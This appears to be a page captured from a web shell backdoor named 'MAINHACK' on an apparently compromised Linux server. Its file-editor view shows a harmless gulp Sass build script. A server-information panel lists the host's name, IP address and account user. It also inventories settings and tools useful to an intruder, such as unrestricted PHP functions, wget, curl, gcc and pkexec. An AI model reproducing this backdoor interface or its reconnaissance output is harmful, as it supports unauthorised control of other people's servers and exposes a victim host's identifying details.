[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: scss.js
var sass = require('gulp-sass'); var merge = require('merge-stream'); module.exports = (gulp, callback) => { const scssCoreTask = function () { return gulp .src(config.source.sass + '/core/**/*.scss') .pipe( sass({ includePaths: ['node_modules', 'assets'] }) ) .pipe(sass().on('error', sass.logError)) .pipe(gulp.dest(config.destination.css + '/core/')); }; const scssMainTask = function () { return gulp .src(['bootstrap.scss', 'bootstrap-extended.scss', 'colors.scss', 'components.scss'], { cwd: config.source.sass }) .pipe( sass({ includePaths: ['node_modules', 'assets'] }) ) .pipe(sass().on('error', sass.logError)) .pipe(gulp.dest(config.destination.css)); }; const scssPagesTask = function () { return gulp .src(config.source.sass + '/pages/**/*.scss') .pipe( sass({ includePaths: ['node_modules', 'assets'] }) ) .pipe(sass().on('error', sass.logError)) .pipe(gulp.dest(config.destination.css + '/pages/')); }; const scssPluginTask = function () { return gulp .src(config.source.sass + '/plugins/**/*.scss') .pipe( sass({ includePaths: ['node_modules', 'assets'] }) ) .pipe(sass().on('error', sass.logError)) .pipe(gulp.dest(config.destination.css + '/plugins/')); }; const scssStyleTask = function () { return gulp .src(config.assets + '/scss/style.scss') .pipe( sass({ includePaths: ['node_modules', 'assets'] }) ) .pipe(sass().on('error', sass.logError)) .pipe(gulp.dest(config.assets + '/css/')); }; const scssThemesTask = function () { return gulp .src(config.source.sass + '/themes/**/*.scss') .pipe( sass({ includePaths: ['node_modules', 'assets'] }) ) .pipe(sass().on('error', sass.logError)) .pipe(gulp.dest(config.destination.css + '/themes/')); }; const scssRtlTask = function () { var custom = gulp .src(config.source.sass + '/custom-rtl.scss') .pipe( sass({ includePaths: ['node_modules', 'assets'] }) ) .pipe(sass().on('error', sass.logError)) .pipe(gulp.dest(config.destination.css_rtl)); var style = gulp .src(config.assets + '/scss/style-rtl.scss') .pipe( sass({ includePaths: ['node_modules', 'assets'] }) ) .pipe(sass().on('error', sass.logError)) .pipe(gulp.dest(config.assets + '/css/')); return merge(custom, style); }; const scssWatchTask = function () { return gulp.watch( [config.source.sass + '/**/*.scss', config.assets + '/scss/**/*.scss'], gulp.parallel(scssCoreTask, scssMainTask, scssPagesTask, scssPluginTask, scssStyleTask, scssThemesTask) ); }; // --------------------------------------------------------------------------- // Exports return { core: scssCoreTask, main: scssMainTask, pages: scssPagesTask, plugins: scssPluginTask, style: scssStyleTask, themes: scssThemesTask, rtl: scssRtlTask, watch: scssWatchTask }; };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.71 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002